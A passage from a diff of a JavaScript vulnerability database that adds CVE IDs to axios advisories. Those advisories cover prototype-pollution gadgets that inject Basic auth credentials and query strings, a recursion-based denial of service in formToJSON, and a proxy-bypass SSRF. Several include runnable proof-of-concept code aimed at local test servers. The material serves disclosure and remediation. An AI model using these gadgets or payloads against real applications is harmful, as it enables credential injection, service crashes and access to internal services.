attacker-chosen Basic auth credentials, replace an existing `Authorization` header because axios removes it when `auth` is used, or cause downstream authorization failures.\n\nThis should not be described as automatic credential exfiltration. In the minimal reproduced case, the Basic auth values are attacker-controlled values, not secrets read from axios. Credential disclosure requires an additional application-specific condition, such as a request destination observable by the attacker and a partial real auth object with a missing polluted subfield.\n\n## Affected Functionality\n\nAffected functionality:\n\n- Node HTTP adapter Basic auth handling in `lib/adapters/http.js`.\n- Browser, web worker, React Native, and fetch shared resolver Basic auth handling in `lib/helpers/resolveConfig.js`.\n- Requests where `config.auth` is an own object but `username` and/or `password` are absent own properties.\n\nUnaffected or not accepted as core impact:\n\n- Requests with no own `auth` object after `mergeConfig()`.\n- Requests with own `auth.username` and `auth.password` values.\n- Normal axios request flow for inherited top-level `params` / `paramsSerializer` after the null-prototype `mergeConfig()` hardening.\n- Attacker-controlled `paramsSerializer` functions from JSON-only prototype pollution, because JSON pollution cannot create functions. If attacker-controlled code can install functions in the process, that is outside axios’ runtime boundary.\n\n## Technical Details\n\n`mergeConfig()` returns a null-prototype top-level config object, which prevents top-level reads such as `config.auth` from inheriting polluted values. However, nested plain objects returned by `utils.merge()` still have `Object.prototype`.\n\nIn `lib/adapters/http.js`, axios correctly reads the top-level `auth` value through `own('auth')`, but then reads subfields directly:\n\n```js\nconst configAuth = own('auth');\nif (configAuth) {\n const username = configAuth.username || '';\n const password = configAuth.password || '';\n auth = username + ':' + password;\n}\n```\n\nIf the caller passes auth: {} and Object.prototype.username/password are polluted, those direct subfield reads walk the prototype chain.\n\nThe same pattern exists in `lib/helpers/resolveConfig.js`:\n```js\nif (auth) {\n headers.set(\n 'Authorization',\n 'Basic ' +\n btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))\n );\n}\n```\n\nThe fix should guard `username` and `password` with `utils.hasOwnProp`, matching the proxy-auth pattern already used elsewhere.\n\n## Proof of Concept of Attack\n\nSafe local PoC against published `axios@1.16.1`:\n\n```js\nconst http = require('node:http');\nconst axios = require('axios');\n\nObject.prototype.username = 'victim-user';\nObject.prototype.password = 'victim-password-leaked';\n\nconst server = http.createServer((req, res) => {\n console.log({\n url: req.url,\n authorization: req.headers.authorization || null\n });\n\n res.end('{}');\n server.close(() => {\n delete Object.prototype.username;\n delete Object.prototype.password;\n });\n});\n\nserver.listen(0, '127.0.0.1', async () => {\n await axios.get(`http://127.0.0.1:${server.address().port}/api`, {\n auth: {}\n });\n});\n```\n\nExpected output:\n\n```json\n{\n \"url\": \"/api\",\n \"authorization\": \"Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==\"\n}\n```\n\nThe base64 value decodes to `victim-user:victim-password-leaked`.\n\n## Workarounds\nAvoid passing empty or partial `auth` objects. Only set `auth` when the application has own username and password values.\n\nApplications that merge untrusted input should filter `__proto__`, `constructor`, and `prototype`, and should read optional user options with own-property checks rather than `opts.auth || {}`.\n\nWhere a wrapper must materialize optional auth, use a null-prototype object or explicitly copy only own fields.\n\n
\nOriginal Report\n\n### Summary\n\nAfter [GHSA-q8qp-cvcw-x6jj](https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj) / [PR #10779](https://github.com/axios/axios/pull/10779) (shipped in `v1.15.2`) and the further proxy-side hardening in\n[PR #10833](https://github.com/axios/axios/pull/10833) (merged 2026-05-02), the **top-level** `config.auth` and the **proxy auth**sub-fields are correctly read via `utils.hasOwnProp`. The **regular request auth sub-fields** (`config.auth.username` and `config.auth.password`) and the **`config.params` / `config.paramsSerializer`** reads inside `resolveConfig.js` are still unguarded against a polluted `Object.prototype`.\n\nWhen a polluted host process makes an axios call with the common \"optional override\" pattern (`auth: opts.auth || {}` — an empty own `{}`), the sub-field reads `configAuth.username` and `configAuth.password` walk the prototype chain and return the attacker-controlled values. Same for `params` and `paramsSerializer`. The outbound HTTP request then carries an attacker-chosen `Authorization: Basic ` header and an attacker-chosen querystring, leaking credentials and exfiltrating data to whichever host the request goes to (often attacker-influenced too — i.e. the amplifier is wired into many credential-stuffing chains).\n\nReproduces against `axios` `main` HEAD (`34723be`, dated 2026-05-24)\nas well as the released `v1.16.1`.\n\n### Details\n\n**Three still-unguarded read sites** on `main` HEAD:\n\n**(1) `lib/adapters/http.js` lines 737–740** (Node http adapter):\n\n```js\nconst configAuth = own('auth'); // ← top-level guard OK\nif (configAuth) {\n const username = configAuth.username || ''; // ← reads .username on the inherited chain\n const password = configAuth.password || ''; // ← reads .password on the inherited chain\n auth = username + ':' + password;\n}\n```\n\n`own('auth')` correctly applies `hasOwnProp` to the top-level `auth`\nkey. But once `configAuth` is the empty object the caller passed\n(`auth: {}`), `configAuth.username` walks the prototype chain and\npicks up `Object.prototype.username`.\n\nContrast with the proxy-auth path that PR #10833 fixed (lines 322–324):\n\n```js\nconst authUsername =\n authIsObject && utils.hasOwnProp(proxyAuth, 'username') ? proxyAuth.username : undefined;\nconst authPassword =\n authIsObject && utils.hasOwnProp(proxyAuth, 'password') ? proxyAuth.password : undefined;\n```\n\nThis is the exact pattern needed at lines 739–740 too.\n\n**(2) `lib/helpers/resolveConfig.js` lines 50 + 68** (xhr/fetch adapter shared resolver):\n\n```js\nconst auth = own('auth'); // ← top-level guard OK\n...\nbtoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))\n// ^ .username and .password read directly on `auth`, no hasOwnProp guard\n```\n\nSame shape — top-level guarded, sub-fields walk prototype.\n\n**(3) `lib/helpers/resolveConfig.js` lines 58–59** (params + paramsSerializer):\n\n```js\nnewConfig.url = buildURL(\n buildFullPath(baseURL, url, allowAbsoluteUrls),\n config.params, // ← direct read, not through own()\n config.paramsSerializer // ← direct read, not through own()\n);\n```\n\nThis third site is already proposed for fix in **open** [PR #10922](https://github.com/axios/axios/pull/10922) by @Mohammad-Faiz-Cloud-Engineer (status: open, currently mergeable: false). That PR's `own('params')` / `own('paramsSerializer')` change is exactly correct; this report flags the auth sub-field sites that PR #10922 does **not** cover.\n\n### PoC\n\nThis PoC contains zero direct `Object.prototype.x = y` writes. The\npollution flows entirely from attacker-shaped JSON through a real\ndeep-merge utility (`defaults-deep@0.2.4`, ~50k weekly downloads,\nstill walks `constructor.prototype`). A hand-rolled deep merge —\nthe canonical insecure backend pattern — exhibits the same pollution\nvia `__proto__` and is more common in real codebases than any named\nutility.\n\n```js\n#!/usr/bin/env node\n'use strict';\n\nconst http = require('node:http');\nconst axios = require('axios');\nconst defaultsDeep = require('defaults-deep');\n\n// Defensive: scrub any prior pollution\nconst PROTO_KEYS = ['username', 'password', 'params', 'paramsSerializer'];\nfunction scrub() {\n for (const k of PROTO_KEYS) {\n try { delete Object.prototype[k]; } catch (_) {}\n }\n}\nscrub();\n\n// 1) Attacker input — what JSON.parse(req.body) would yield from an HTTP POST\nconst attackerBody = JSON.parse(`{\n \"constructor\": {\n \"prototype\": {\n \"username\": \"victim-user\",\n \"password\": \"victim-password-leaked\",\n \"params\": {\"leak\": \"ATTACKER_QUERY_TOKEN\"}\n }\n }\n}`);\n\n// 2) Realistic application pattern: merge user options into defaults\nconst appDefaults = { timeout: 5000 };\ndefaultsDeep(appDefaults, attackerBody);\n// After this line:\n// Object.prototype.username === \"victim-user\"\n// Object.prototype.password === \"victim-password-leaked\"\n// Object.prototype.params === { leak: \"ATTACKER_QUERY_TOKEN\" }\n\n// 3) Capture outbound request on a local listener\nconst server = http.createServer((req, res) => {\n console.log('=== captured outbound request ===');\n console.log(JSON.stringify({\n method: req.method,\n url: req.url,\n authorization: req.headers.authorization || null,\n }, null, 2));\n res.end('{}');\n server.close();\n scrub();\n});\n\nserver.listen(0, '127.0.0.1', () => {\n const port = server.address().port;\n\n // 4) Realistic application wrapper: optional per-call overrides.\n // `auth: opts.auth || {}` is the common pattern — empty own object,\n // but inherited values walk the prototype chain.\n function makeRequest(targetUrl, opts = {}) {\n return axios.get(targetUrl, {\n timeout: 5000,\n auth: opts.auth || {},\n params: opts.params || {},\n });\n }\n\n makeRequest(`http://127.0.0.1:${port}/api/widget`).catch((e) => {\n console.error('axios error:', e.message);\n scrub();\n process.exit(1);\n });\n});\n```\n\nReproduction:\n\n```bash\nmkdir /tmp/axios-poc && cd /tmp/axios-poc\nnpm init -y\nnpm install axios@1.16.1 defaults-deep@0.2.4\nnode /path/to/poc.cjs\n```\n\nCaptured output (verified against released `1.16.1` AND against\n`main` at `34723be`, 2026-05-24):\n\n```json\n{\n \"method\": \"GET\",\n \"url\": \"/api/widget?leak=ATTACKER_QUERY_TOKEN\",\n \"authorization\": \"Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==\"\n}\n```\n\n`dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==` base64-decodes to\n`victim-user:victim-password-leaked`. The querystring carries\n`?leak=ATTACKER_QUERY_TOKEN`, which can be a full data-exfil channel\nin real chains (CSRF token, session cookie via `req.headers`, etc.).\n\n### Impact\n\n- **Credential exfiltration** via Basic auth header on the outbound\n request. If the request URL is attacker-influenced too (common in\n webhook/oauth-callback patterns), the credentials flow directly to\n the attacker. If not, they flow to the legitimate destination but\n expose victim credentials in any logs / proxies along the path.\n- **Outbound request-shape control** via inherited `params` /\n `paramsSerializer`. With `paramsSerializer` polluted to an attacker\n function, axios will execute that function with each `params`\n invocation — same-process code execution from a pollution primitive.\n- **Amplifier framing** is still correct. The application-side\n precondition is \"deep-merges attacker JSON into a config object\n without `__proto__`/`constructor` filtering, then uses the empty-\n fallback wrapper `auth: opts.auth || {}` / `params: opts.params || {}`.\"\n Both halves are very common in real codebases (we tested\n `defaults-deep`, hand-rolled merges, and several lodash-family\n utilities; many still pollute).\n- **CWE-1321** (Improperly Controlled Modification of Object Prototype\n Attributes — amplifier sink).\n\n### Proposed fix\n\nTwo-line change in `http.js`, matching the proxy-auth pattern PR\n#10833 already established:\n\n```diff\n--- a/lib/adapters/http.js\n+++ b/lib/adapters/http.js\n@@ -737,8 +737,10 @@\n const configAuth = own('auth');\n if (configAuth) {\n- const username = configAuth.username || '';\n- const password = configAuth.password || '';\n+ const username = utils.hasOwnProp(configAuth, 'username') ? (configAuth.username || '') : '';\n+ const password = utils.hasOwnProp(configAuth, 'password') ? (configAuth.password || '') : '';\n auth = username + ':' + password;\n }\n```\n\nSame pattern in `resolveConfig.js`:\n\n```diff\n--- a/lib/helpers/resolveConfig.js\n+++ b/lib/helpers/resolveConfig.js\n@@ -64,7 +64,11 @@\n // HTTP basic authentication\n if (auth) {\n+ const authUsername = utils.hasOwnProp(auth, 'username') ? (auth.username || '') : '';\n+ const authPassword = utils.hasOwnProp(auth, 'password') ? auth.password : '';\n headers.set(\n 'Authorization',\n 'Basic ' +\n- btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))\n+ btoa(authUsername + ':' + (authPassword ? encodeUTF8(authPassword) : ''))\n );\n }\n```\n\nThe **`params` / `paramsSerializer`** half is already handled by open\nPR #10922's `own('params')` / `own('paramsSerializer')` change — that\nPR should be rebased / merged.\n\n### Relationship to recent prototype-pollution work\n\nSame vulnerability class as the existing public hardening, just at\nsub-field granularity:\n\n- [GHSA-q8qp-cvcw-x6jj](https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj) / [PR #10779](https://github.com/axios/axios/pull/10779) — `mergeConfig` direct-key reads. **Fixed in v1.15.2.**\n- [PR #10761](https://github.com/axios/axios/pull/10761) — `mergeDirectKeys` `in` → `hasOwnProp`. **Fixed in v1.15.x.**\n- [PR #10833](https://github.com/axios/axios/pull/10833) — proxy `auth.username/password` sub-fields. **Fixed post-1.16.1.**\n- [PR #7413](https://github.com/axios/axios/pull/7413) — `formDataToJSON` defense-in-depth. **Fixed post-1.16.1.**\n- [PR #10901](https://github.com/axios/axios/pull/10901) — `socketPath` guard. **Merged 2026-05-24.**\n- [PR #10922 (OPEN)](https://github.com/axios/axios/pull/10922) — `params` / `paramsSerializer` `own()` guard. **Proposed; not merged.**\n\nThis report adds: regular-request `auth.username` / `auth.password`\nsub-field reads in both the http adapter (lines 737–740) and\nresolveConfig.js (line 68).\n\n### Reporter notes\n\n- Reported as part of a small peer-review bundle of runtime security\n findings. The bundle's public tracking entry (without the working\n exploit chain) is at\n [`georgian-io/package-runtime-security-findings/advisories/AXIOS-002-prototype-pollution-config-fields.md`](https://github.com/georgian-io/package-runtime-security-findings/blob/main/advisories/AXIOS-002-prototype-pollution-config-fields.md).\n- I'm happy to submit the patch as a PR if that helps. Or, if you'd\n prefer to fold this into open PR #10922 (whose author is actively\n responding to comments), please let me know and I'll coordinate.\n- Threat model honesty: this is **amplifier framing** — exploitation\n requires a separate prototype-pollution primitive elsewhere in the\n host process. That's how the existing GHSA-q8qp-cvcw-x6jj and\n PR #10833 were framed too, so the precedent for \"in-scope as a\n hardening fix\" is established.\n
", "info": [ diff --git a/repository/jsrepository-v6.json b/repository/jsrepository-v6.json index dbeb5c18..262f5883 100644 --- a/repository/jsrepository-v6.json +++ b/repository/jsrepository-v6.json @@ -8538,7 +8538,10 @@ ], "identifiers": { "summary": "Axios: Nested axios option objects can consume polluted prototype values", - "githubID": "GHSA-7q8q-rj6j-mhjq" + "githubID": "GHSA-7q8q-rj6j-mhjq", + "CVE": [ + "CVE-2026-67319" + ] }, "details": "## Summary\n\nAxios can consume inherited properties from nested request option objects when the JavaScript process already has a polluted `Object.prototype`.\n\nThe top-level merged config is protected with a null prototype, but nested plain objects such as `auth` and `paramsSerializer` are cloned into ordinary objects. If application code passes placeholders such as `auth: {}` or `paramsSerializer: {}`, inherited `username`, `password`, `encode`, or `serialize` properties can influence outbound requests.\n\n## Impact\n\nThis is reachable only when another component has already polluted `Object.prototype` and the application passes an affected nested axios option object.\n\nConfirmed impacts include silent injection of an `Authorization: Basic ...` header from inherited `username` and `password` values, and query-string tampering when inherited `paramsSerializer` fields are function-valued.\n\nThe `auth` case requires only string-valued pollution. Full query-string replacement through `paramsSerializer.serialize` requires a function-valued pollution primitive; string-only pollution may still cause request failures or encoding changes through `encode`.\n\nThis does not mean every axios request is affected. Requests that do not pass `auth`, do not pass `paramsSerializer`, or provide explicit own properties for the relevant nested fields are not affected by this specific gadget.\n\n## Affected Functionality\n\nAffected runtime functionality:\n\n- Node HTTP adapter Basic auth handling in `lib/adapters/http.js`.\n- Browser/fetch/XHR Basic auth handling through `lib/helpers/resolveConfig.js`.\n- Query serialization through `lib/helpers/buildURL.js`.\n- `axios.getUri()` when called with an affected `paramsSerializer` object.\n\nAffected config shapes:\n\n- `auth: {}` or an `auth` object missing own `username` and/or `password`.\n- `paramsSerializer: {}` or a `paramsSerializer` object missing own `encode` and/or `serialize`.\n\nUnaffected by this specific issue:\n\n- Requests with no `auth` property.\n- Requests with no `paramsSerializer` property.\n- Top-level polluted `auth` or `paramsSerializer` values in current hardened versions.\n\n## Technical Details\n\n`lib/core/mergeConfig.js` creates the top-level merged config with `Object.create(null)`, but nested object cloning still uses ordinary `{}` containers:\n\n```js\n} else if (utils.isPlainObject(source)) {\n return utils.merge({}, source);\n}\n```\n\nDownstream code then reads nested fields without own-property checks.\n\nIn `lib/helpers/resolveConfig.js`:\n\n```js\nbtoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))\n```\n\nIn `lib/adapters/http.js`:\n\n```js\nconst username = configAuth.username || '';\nconst password = configAuth.password || '';\nauth = username + ':' + password;\n```\n\nIn `lib/helpers/buildURL.js`:\n\n```js\nconst _encode = (options && options.encode) || encode;\nconst serializeFn = _options && _options.serialize;\n```\n\n## Proof of Concept of Attack\n\n```js\nimport http from 'node:http';\nimport axios from './index.js';\n\nconst user = 'attacker';\nconst pass = 'exfil';\n\nObject.defineProperty(Object.prototype, 'username', {\n value: user,\n configurable: true\n});\n\nObject.defineProperty(Object.prototype, 'password', {\n value: pass,\n configurable: true\n});\n\nObject.defineProperty(Object.prototype, 'serialize', {\n value: () => 'polluted=1',\n configurable: true\n});\n\nconst server = http.createServer((req, res) => {\n res.writeHead(200, { 'content-type': 'application/json' });\n res.end(JSON.stringify({\n authorization: req.headers.authorization || null,\n url: req.url\n }));\n});\n\nawait new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));\n\ntry {\n const port = server.address().port;\n const response = await axios.get(`http://127.0.0.1:${port}/demo`, {\n auth: {},\n paramsSerializer: {},\n params: { unused: 'ignored' }\n });\n\n console.log(response.data);\n} finally {\n await new Promise((resolve) => server.close(resolve));\n delete Object.prototype.username;\n delete Object.prototype.password;\n delete Object.prototype.serialize;\n}\n```\n\nObserved result:\n\n```json\n{\n \"authorization\": \"Basic YXR0YWNrZXI6ZXhmaWw=\",\n \"url\": \"/demo?polluted=1\"\n}\n```\n\n## Workarounds\n\nIf upgrading is not yet possible, avoid passing placeholder nested option objects.\n\nRemove `auth` entirely when Basic auth is not intended. For `paramsSerializer` objects, provide explicit own `encode` and `serialize` properties or remove `paramsSerializer` when custom serialization is not required.\n\nThese workarounds only address this axios gadget. They do not remediate the separate prototype-pollution primitive that must already exist in the application process.\n\n
\nOriginal Report\n\n### Summary\naxios 1.16.1 mitigates prototype-pollution gadgets on the top-level request config but not on nested option objects. When a caller passes a partial nested option object such as auth: {} or paramsSerializer: {}, axios reads inner fields (username, password, encode, serialize) through the prototype chain. If Object.prototype has been polluted by another component in the same Node.js process, those inherited values are silently injected into the outbound request, including the Authorization header and the serialized query string. \n\n### Details\nmergeConfig (lib/core/mergeConfig.js) was hardened to use a null-prototype container for the top-level config, but its nested-clone helper still produces ordinary {} containers:\n\nmergeConfig.js Lines 36-45\n\n```\n function getMergedValue(target, source, prop, caseless) {\n if (utils.isPlainObject(target) && utils.isPlainObject(source)) {\n return utils.merge.call({ caseless }, target, source);\n } else if (utils.isPlainObject(source)) {\n return utils.merge({}, source);\n } else if (utils.isArray(source)) {\n return source.slice();\n }\n return source;\n }\n```\n\nThe cloned nested objects therefore inherit from Object.prototype. Downstream consumers read sensitive fields via plain dotted access, with no own-property guard:\n\nBrowser / fetch Basic auth — lib/helpers/resolveConfig.js:\nresolveConfig.js Lines 64-70\n```\n if (auth) {\n headers.set(\n 'Authorization',\n 'Basic ' +\n btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))\n );\n }\n```\n\nNode HTTP adapter Basic auth — lib/adapters/http.js:\nhttp.js Lines 829-836\n```\n // HTTP basic authentication\n let auth = undefined;\n const configAuth = own('auth');\n if (configAuth) {\n const username = configAuth.username || '';\n const password = configAuth.password || '';\n auth = username + ':' + password;\n }\n```\n\nparamsSerializer reads — lib/helpers/buildURL.js:\nbuildURL.js Lines 31-54\n```\nexport default function buildURL(url, params, options) {\n if (!params) {\n return url;\n }\n const _encode = (options && options.encode) || encode;\n const _options = utils.isFunction(options)\n ? {\n serialize: options,\n }\n : options;\n const serializeFn = _options && _options.serialize;\n let serializedParams;\n if (serializeFn) {\n serializedParams = serializeFn(params, _options);\n } else {\n serializedParams = utils.isURLSearchParams(params)\n ? params.toString()\n : new AxiosURLSearchParams(params, _options).toString(_encode);\n }\n```\n\nBecause auth.username, auth.password, options.encode, and options.serialize are accessed without hasOwnProperty checks, a polluted Object.prototype.username / Object.prototype.password / Object.prototype.serialize flows directly into the outgoing request.\n\nThe auth sink is the primary impact (silent Basic-auth injection); paramsSerializer.serialize is a secondary but powerful sink because it can fully replace the query string.\n\n### PoC\n```\nimport http from 'node:http';\nimport axios from '../../index.js';\n\nconst ATTACKER_USER = 'attacker';\nconst ATTACKER_PASS = 'exfil';\nconst ATTACKER_BASIC = Buffer.from(`${ATTACKER_USER}:${ATTACKER_PASS}`).toString('base64');\n\n// Step 1: simulate a pre-existing prototype-pollution primitive in this process.\n// In reality, a separate dependency would have done this. We keep the\n// \"polluted\" properties non-enumerable so they only affect inherited reads,\n// which is the realistic shape of most prototype-pollution gadgets.\nObject.defineProperty(Object.prototype, 'username', {\n value: ATTACKER_USER,\n configurable: true,\n});\nObject.defineProperty(Object.prototype, 'password', {\n value: ATTACKER_PASS,\n configurable: true,\n});\nObject.defineProperty(Object.prototype, 'serialize', {\n value: () => 'polluted=1',\n configurable: true,\n});\n\n// Local capture server.\nconst server = http.createServer((req, res) => {\n const captured = {\n authorization: req.headers['authorization'] || null,\n url: req.url,\n };\n res.writeHead(200, { 'content-type': 'application/json' });\n res.end(JSON.stringify(captured));\n});\n\nawait new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));\nconst port = server.address().port;\n\ntry {\n // Application code: passes nested *placeholder* option objects that have\n // no own auth/serializer properties. Without prototype pollution this is\n // a no-op. With prototype pollution it becomes attacker-controlled state.\n const response = await axios.get(`http://127.0.0.1:${port}/demo`, {\n auth: {},\n paramsSerializer: {},\n params: { unused: 'ignored-by-polluted-serializer' },\n });\n\n console.log('--- PoC: nested-option prototype-pollution gadgets ---');\n console.log('Server saw:', JSON.stringify(response.data));\n\n const authLeaked = response.data.authorization === `Basic ${ATTACKER_BASIC}`;\n const urlRewritten = response.data.url === '/demo?polluted=1';\n\n if (authLeaked && urlRewritten) {\n console.log(\n 'VULNERABLE: nested auth + paramsSerializer inherited polluted ' +\n 'Object.prototype values into the outbound request.'\n );\n process.exitCode = 0;\n } else {\n console.log('NOT VULNERABLE: nested option objects did not leak prototype state.');\n console.log(' authLeaked =', authLeaked);\n console.log(' urlRewritten =', urlRewritten);\n process.exitCode = 1;\n }\n} finally {\n server.close();\n // Restore Object.prototype so a noisy exit/process state cannot affect\n // anything else accidentally sharing the runtime.\n delete Object.prototype.username;\n delete Object.prototype.password;\n delete Object.prototype.serialize;\n}\n```\n\n### Impact\nConcrete consequences:\n- Silent injection of attacker-controlled Authorization: Basic … headers on outbound requests, enabling credential exfiltration to attacker-chosen upstreams or impersonation against trusted upstreams.\n- Full takeover of query-string serialization via paramsSerializer.serialize, enabling request tampering, cache-key poisoning, and bypass of upstream signature/policy checks that sign the literal request line.\n
", "info": [ @@ -8561,7 +8564,10 @@ ], "identifiers": { "summary": "Axios: Excessive recursion in formDataToJSON can cause denial of service", - "githubID": "GHSA-42h9-826w-cgv3" + "githubID": "GHSA-42h9-826w-cgv3", + "CVE": [ + "CVE-2026-67313" + ] }, "details": "## Summary\nAxios versions `0.28.0` and later contain uncontrolled recursion in `formDataToJSON`, the helper behind the public `axios.formToJSON()` / named `formToJSON` API and the default request transform used when FormData is sent with an `application/json` content type.\n\nApplications are affected when they pass attacker-controlled `FormData` field names into this functionality. A field name with thousands of nested bracket segments can exhaust the JavaScript call stack and throw `RangeError: Maximum call stack size exceeded`, causing request failure and, in applications that do not handle the exception or rejected promise, possible process termination.\n\n## Impact\nThe impact is denial of service against applications that process untrusted `FormData` field names through axios' FormData-to-JSON conversion.\n\nThe vulnerable path is not reached by merely installing axios, by normal multipart `FormData` pass-through, or by ordinary axios requests that do not request JSON serialisation of `FormData`. In the default axios request, the error is produced before network I/O and returned as a rejected Promise. Direct use of `formToJSON()` throws synchronously.\n\nServer-side applications are the primary risk when remote users can submit arbitrary form field names, and the application converts those fields with `formToJSON()` or sends them through axios as JSON.\n\n## Affected Functionality\nAffected APIs and paths:\n- `axios.formToJSON(formData)`\n- `import { formToJSON } from \"axios\"`\n- `lib/helpers/formDataToJSON.js`\n- axios default `transformRequest` when `data` is `FormData` and `Content-Type` contains `application/json`\n\nUnaffected or lower-risk paths:\n- Normal multipart `FormData` requests without `JSON Content-Type`\n- `toFormData()` object-to-FormData serialisation, which already has a `maxDepth` guard\n- Axios versions before 0.28.0, where this helper and public API were not present\n\n## Technical Details\n`lib/helpers/formDataToJSON.js` parses a form field name into path segments with `parsePropPath()`. For a key such as `a[x][x][x]`, each bracketed segment becomes another path element.\n\n`formDataToJSON()` then calls the nested `buildPath(path, value, target, index)` function. `buildPath()` recursively calls itself once for each path segment and does not enforce a maximum depth:\n\n`const result = buildPath(path, value, target[name], index);`\n\nA key containing thousands of bracket segments, therefore, creates thousands of recursive calls. At sufficient depth, V8 throws `RangeError: Maximum call stack size exceeded`.\n\nAxios already applies a depth guard to the inverse serializer in `lib/helpers/toFormData.js`, where `maxDepth` defaults to 100 and exceeding it throws `AxiosError` with code `ERR_FORM_DATA_DEPTH_EXCEEDED`. `formDataToJSON()` does not currently have equivalent protection.\n\n## Proof of Concept of Attack\n```js\nimport { formToJSON } from \"axios\";\n\nconst fd = new FormData();\nfd.append(\"a\" + \"[x]\".repeat(15000), \"value\");\n\ntry {\n formToJSON(fd);\n console.log(\"not vulnerable\");\n} catch (err) {\n console.log(`${err.constructor.name}: ${err.message}`);\n}\n```\n\nExpected vulnerable result:\n\nRangeError: Maximum call stack size exceeded\n\nThe axios request transform path can also be reached before network I/O:\n\n```js\nimport axios from \"axios\";\n\nconst fd = new FormData();\nfd.append(\"a\" + \"[x]\".repeat(15000), \"value\");\n\nawait axios\n .post(\"http://127.0.0.1:1/\", fd, {\n headers: { \"Content-Type\": \"application/json\" }\n })\n .catch((err) => console.log(`${err.constructor.name}: ${err.message}`));\n```\n\nExpected vulnerable result:\n\nRangeError: Maximum call stack size exceeded\n\n## Workarounds\nApplications can avoid the vulnerable path by not converting attacker-controlled `FormData` to JSON with axios.\n\nIf conversion is required before a fixed axios release is available, validate `FormData` field names before calling `formToJSON()` or before sending `FormData` with `Content-Type: application/json`. Reject keys whose parsed nesting depth exceeds the application's expected schema.\n\nFor axios requests carrying untrusted `FormData`, avoid setting `Content-Type: application/json`; leaving the data as multipart FormData bypasses `formDataToJSON()`.\n\nCatching the resulting error can prevent process termination, but it does not remove the uncontrolled-recursion behaviour and should not be treated as the primary mitigation.\n\n
\nOriginal Report\n# Axios SSRF via Incomplete Loopback Detection\n## CWE-918 | CVSS 7.5 (HIGH) | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L\n\n---\n\n## 1. Classification\n\n| CWE | CVSS Score | Severity | Type |\n|-----|-----------|----------|------|\n| CWE-918 | 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) | HIGH | Server-Side Request Forgery |\n\n## 2. Description\n\n### Summary\nThe `shouldBypassProxy()` function in Axios fails to recognise `0.0.0.0`, `::`, and `::ffff:0.0.0.0` as loopback addresses. When `NO_PROXY=localhost` is configured, requests to these addresses are incorrectly forwarded through the proxy instead of being sent directly, enabling an SSRF attack against internal services reachable via the proxy's loopback interface.\n\n### Root Cause\n**File:** `lib/helpers/shouldBypassProxy.js`\n\n**`isIPv4Loopback` (lines 3-8):** Only checks for `127.x.x.x` addresses by inspecting `parts[0] !== '127'`. The `0.0.0.0` address has `parts[0] === '0'`, so it falls through as non-loopback, even though on Linux `0.0.0.0` routes to the loopback interface.\n\n**`isIPv6Loopback` (lines 10-38):** Only checks `host === '::1'`. The `::` address (unspecified IPv6) also routes to the loopback, but is not recognised.\n\n**Attack Flow:**\n```\nisIPv4Loopback (line 3) — fails for 0.0.0.0\n → isLoopback (line 44) — wraps both checks, returns false\n → shouldBypassProxy (line 127) — PUBLIC API, exported default\n → lib/adapters/http.js (line 190) — Node.js HTTP adapter\n```\n\n### Attack Vector\n- **Access Vector:** Network (AV:N)\n- **Access Complexity:** Low (AC:L) — attacker only needs control of a URL\n- **Privileges Required:** None (PR:N)\n- **User Interaction:** None (UI:N)\n\n## 3. Proof of Concept\n\n### Phase 1: Logic Verification\n\n```javascript\nimport shouldBypassProxy from 'axios/lib/helpers/shouldBypassProxy.js';\n\n// Normal loopback — correctly returns true (bypasses proxy)\nshouldBypassProxy('http://127.0.0.1:9999/'); // → true\n\n// Vulnerable — returns false (goes through proxy!)\nshouldBypassProxy('http://0.0.0.0:9999/'); // → false ← SSRF\nshouldBypassProxy('http://[::]:9999/'); // → false ← SSRF\nshouldBypassProxy('http://[::ffff:0.0.0.0]:9999/'); // → false ← SSRF\n```\n\n### Phase 2: Docker E2E Reproduction\n\nA full 3-container Docker reproduction was created and tested:\n\n- **Proxy container:** Simple HTTP forward proxy on port 8888\n- **Internal container:** Internal service on port 9999 (simulates sensitive internal resource)\n- **Attacker container:** Runs the test script with Axios source mounted\n\n**Reproduction steps:**\n```bash\ncd /tmp/deep-e2e\ndocker compose up -d\ndocker compose exec attacker node test-ssrf.js\n```\n\n**Results:**\n- Test 1: `127.0.0.1 + NO_PROXY=localhost` → BYPASS (correct) \n- Test 2: `0.0.0.0 + NO_PROXY=localhost` → VIA_PROXY (SSRF) \n- Test 3: `[::] + NO_PROXY=localhost` → VIA_PROXY (SSRF) \n- Test 4: `[::ffff:0.0.0.0] + NO_PROXY=localhost` → VIA_PROXY (SSRF) \n\n### Phase 3: Actual Axios Client\n\nThe real Axios HTTP client (v1.16.1, source tree) was tested through proxy configuration:\n- Axios with `proxy: { host: 'proxy', port: 8888 }` \n- Setting `NO_PROXY=localhost` and requesting `http://0.0.0.0:9999/`\n- Result: Axios forwarded the request through the proxy instead of bypassing it\n\n## 4. Impact\n\n### Attack Scenario\n1. Attacker has control over a URL that an Axios client will request (direct input, redirect target, open redirect chain)\n2. The Axios client is configured with a proxy (e.g., corporate proxy) and `NO_PROXY=localhost` to protect internal services\n3. Attacker supplies `http://0.0.0.0:8080/admin` as the target URL\n4. Axios sends the request through the proxy\n5. The proxy resolves `0.0.0.0` → the proxy's own loopback → reaches the internal admin service on port 8080\n\n### Potential Consequences\n- **Information disclosure (C:L):** Internal service responses become accessible\n- **Integrity impact (I:L):** Attacker can trigger actions on internal services (if proxy supports PUT/POST/DELETE)\n- **Availability impact (A:L):** Limited — depends on internal service behavior\n\n### Likelihood\n- **High** — proxy bypass is a common pattern in microservice architectures\n- **Medium** — requires attacker control of a URL (not always available)\n\n## 5. Remediation\n\n### Code Fix\n\n**File:** 